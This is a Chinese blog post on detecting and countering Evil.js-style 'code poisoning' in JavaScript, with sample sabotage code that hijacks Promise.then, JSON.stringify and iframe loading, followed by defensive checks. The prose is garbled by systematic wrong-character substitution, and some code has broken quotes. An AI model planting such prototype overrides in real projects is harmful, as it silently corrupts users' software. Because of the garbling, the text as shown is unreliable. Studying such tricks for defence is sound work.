关于html:怎么防止同事用Eviljs的代码投毒

最近 Evil.js 被探讨的很多，我的项目介绍如下

我的项目被公布到 npm 上后，引起了强烈的探讨，最终因为平安问题被 npm 官网移除，代码也闭源了
作为一个前端老司机，我必定是拥护这种行为，泄私愤有很多种形式，代码里下毒会被 git log 查到，万一守法了，还不如到职的时候给老板一个大逼兜来的解恨
明天咱们来讨论一下，如果你作为我的项目的负责人，如何甄别这种代码下毒
欢送退出前端学习，一起上王者, 交个敌人
下毒手法
最朴实无华的下毒手法就是间接替换函数，比方 evil.js 中，给 JSON.stringify 下毒了，把外面的 I 换成了 l，每周日 prmise 的 then 办法有 10% 的概率不触发，只有周日能触发着实有点损了, 并且 npm 的报名就叫 lodash-utils，看起来的确是个正经库，后果被下毒
function isEvilTime(){
return new Date().getDay() === 0 && Math.random() < 0.1
}
const _then = Promise.prototype.then
Promise.prototype.then = function then(…args) {
if (isEvilTime()) {

return

} else {

_then.call(this, ...args)

}
}

const _stringify = JSON.stringify
JSON.stringify = function stringify(…args) {
return _stringify(…args).replace(/I/g, ‘l’)
}
console.log(JSON.stringify({name:’Ill’})) // {“name”:”lll”}

复制代码
检测函数 toString
检测函数是否被原型链投毒，我首先想到的办法就是检测代码的 toString，默认的这些全局办法都是内置的，咱们在命令行里执行一下

咱们能够简略粗犷的查看函数的 toString
function isNative(fn){
return fn.toString() === function ${fn.name}() { [native code] }
}

console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false

复制代码
不过咱们能够间接重写函数的 toString 办法，返回 native 这几个字符串，就能够越过这个查看

JSON.stringify = …
JSON.stringify.toString = function(){
return function stringify() { [native code] }
}
function isNative(fn){
return fn.toString() === function ${fn.name}() { [native code] }
}
console.log(isNative(JSON.stringify)) // true
复制代码
iframe
咱们还能够在浏览器里通过 iframe 创立一个被隔离的 window, iframe 被加载到 body 后，获取 iframe 外部的 contentWindow
let iframe = document.createElement(‘iframe’)
iframe.style.display = ‘none’
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:’Illl’})) // ‘{“name”:”Illl”}’
复制代码
这种解决方案对运行环境有要求，iframe 只有浏览器里才有，而且攻击者够聪慧的话，iframe 这种解决方案也能够被下毒, 重写 appendChild 函数，当加载进来的标签是 iframe 的时候，重写 contentWindow 的 stringify 办法
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(…args) {
return _stringify(…args).replace(/I/g, ‘l’)
}

// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
_appenChild(child)
if(child.tagName.toLowerCase()===’iframe’){

// 净化
iframe.contentWindow.JSON.stringify = myStringify

}
}

// iframe 被净化了
let iframe = document.createElement(‘iframe’)
iframe.style.display = ‘none’
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:’Illl’})) // ‘{“name”:”llll”}’

复制代码
node 的 vm 模块
node 中也能够通过 vm 模块创立一个沙箱来运行代码，教程能够看这里，不过这对咱们代码的入侵性太大了，实用于发现 bug 后的调试某段具体的代码，并且没法再浏览器里间接用
const vm = require(‘vm’)

const _stringify = JSON.stringify
JSON.stringify = function stringify(…args) {
return _stringify(…args).replace(/I/g, ‘l’)
}
console.log(JSON.stringify({name:’Illl’}))
let sandbox = {}
vm.runInNewContext(ret = JSON.stringify({name:'Illl'}),sandbox)
console.log(sandbox)
复制代码
ShadowRealm API
TC39 有一个新的 ShadowRealm api，曾经 stage3 了，能够手动创立一个隔离的 js 运行环境，被认为是下一代微前端的利器，不过当初兼容性还不太好，代码看起来有一丢丢像 eval，不过和 vm 的问题一样，须要咱们指定某段代码执行
更多 ShadowRealm 的细节能够参考贺老的这个答复 如何评估 ECMAScript 的 ShadowRealm API 提案
const sr = new ShadowRealm()
console.log(sr.evaluate(JSON.stringify({name:'Illl'})) )

复制代码
Object.freeze
咱们还能够我的项目代码的入口处，间接用 Object.freeze 冻住相干函数，确保不会被批改, 所以上面的代码会打印出{“name”:”Illl”}，然而有些框架会对原型链进行适当的批改（比方 Vue2 里对数组的解决），而且咱们在批改 stringify 失败的时候没有任何揭示，所以此办法也慎用，可能会导致你的我的项目里有 bug

!(global => {
// Object.freeze(global.JSON)
;[‘JSON’,’Date’].forEach(n=>Object.freeze(global[n]))
;[‘Promise’,’Array’].forEach(n=>Object.freeze(global[n].prototype))
})((0, eval)(‘this’))
// 下毒
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(…args) {
return _stringify(…args).replace(/I/g, ‘l’)
}

// 应用
console.log(JSON.stringify({name:’Illl’}))

复制代码
备份检测
还有一个很简略的办法，实用性和兼容性都适中，咱们能够在我的项目启动的一开始，就备份一些重要的函数，比方 Promise，Array 原型链的办法，JSON.stringify、fetch、localstorage.getItem 等办法, 而后在须要的时候, 运行检测函数, 判断 Promise.prototype.then 和咱们备份的是否相等，就能够甄别出原型链有没有被净化 , 我真是一个小伶俐
首先咱们要备份相干函数，因为咱们须要查看的不是很多，就不须要对 window 进行遍历了，指定几个重要的 api 函数，都存在了_snapshots 对象里
// 这段代码肯定要在我的项目的一开始执行
!(global => {
const MSG = ‘ 可能被篡改了，要小心哦 ’
const inBrowser = typeof window !== ‘undefined’
const {JSON:{parse,stringify},setTimeout,setInterval} = global
let _snapshots = {

JSON:{
  parse,
  stringify
},
setTimeout,
setInterval,
fetch

}
if(inBrowser){

let {localStorage:{getItem,setItem},fetch} = global
_snapshots.localStorage = {getItem,setItem}
_snapshots.fetch = fetch

}
})((0, eval)(‘this’))

复制代码
除了间接调用的 JSON，setTimeout，还有 Promise，Array 等原型链上的办法，咱们能够通过 getOwnPropertyNames 获取后，备份到_protytypes 里，比方 Promise.prototype.then 存储的后果就是
// _protytypes
{
‘Promise.then’: function then(){ [native code]}
}
复制代码
!(global => {
let _protytypes = {}
const names = ‘Promise,Array,Date,Object,Number,String’.split(“,”)

names.forEach(name=>{

let fns = Object.getOwnPropertyNames(global[name].prototype)
fns.forEach(fn=>{_protytypes[`${name}.${fn}`] = global[name].prototype[fn]
})

})
console.log(_protytypes)
})((0, eval)(‘this’))

复制代码

而后咱们在 global 上注册一个检测函数 checkNative 就能够啦，存储在_snapshot 和_prototype 里的内容，嘎嘎遍历进去，和以后运行时获取的 JSON，Promise.prototype.then 比照就能够啦，而且咱们有了备份，还能够加一个 reset 参数，间接把净化的函数还原回去
代码比拟毛糙，大家对付看，函数也就两层嵌套，不整递归了，间接暴力循环，欢送有志之士优化

global.checkNative = function (reset=false){
for (const prop in _snapshots) {

if (_snapshots.hasOwnProperty(prop) && prop!=='length') {let obj = _snapshots[prop]
  // setTimeout 顶层的
  if(typeof obj==='function'){const isEqual = _snapshots[prop]===global[prop]
    if(!isEqual){console.log(`${prop}${MSG}`)
      if(reset){window[prop] = _snapshots[prop]
      }
    }
  }else{
    // JSON 这种还有内层 api
    for(const key in obj){const isEqual = _snapshots[prop][key]===global[prop][key]
      if(!isEqual){console.log(`${prop}.${key}${MSG}`)
        if(reset){window[prop][key] = _snapshots[prop][key]
        }
      }
    }
  }

}

}
// 原型链
names.forEach(name=>{

let fns = Object.getOwnPropertyNames(global[name].prototype)
fns.forEach(fn=>{const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`]
  if(!isEqual){console.log(`${name}.prototype.${fn}${MSG}`)
    if(reset){global[name].prototype[fn]=_protytypes[`${name}.${fn}`]
    }
  }
})

})
}

复制代码
咱们测试一下代码，能够看到 checkNative 传递 reset 是 true 后，打印且重置了咱们净化的函数，JSON.stringify 的行为也合乎咱们的预期
<script src=”./anti-evil.js”></script>
<script src=”./evil.js”></script>
<script>
function isNative(fn){
return fn.toString() === function ${fn.name}() { [native code] }
}
let obj = {name:’Illl’}
console.log(obj)
console.log(‘isNative’,isNative(JSON.stringify))
console.log(‘ 被净化了 ’,JSON.stringify(obj))

let iframe = document.createElement(‘iframe’)
iframe.style.display = ‘none’
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(‘iframe 也被净化了 ’,cleanJSON.stringify(obj))
console.log(‘*’.repeat(20))

checkNative(true)
console.log(‘checkNative 重置了 ’,JSON.stringify(obj))
</script>
复制代码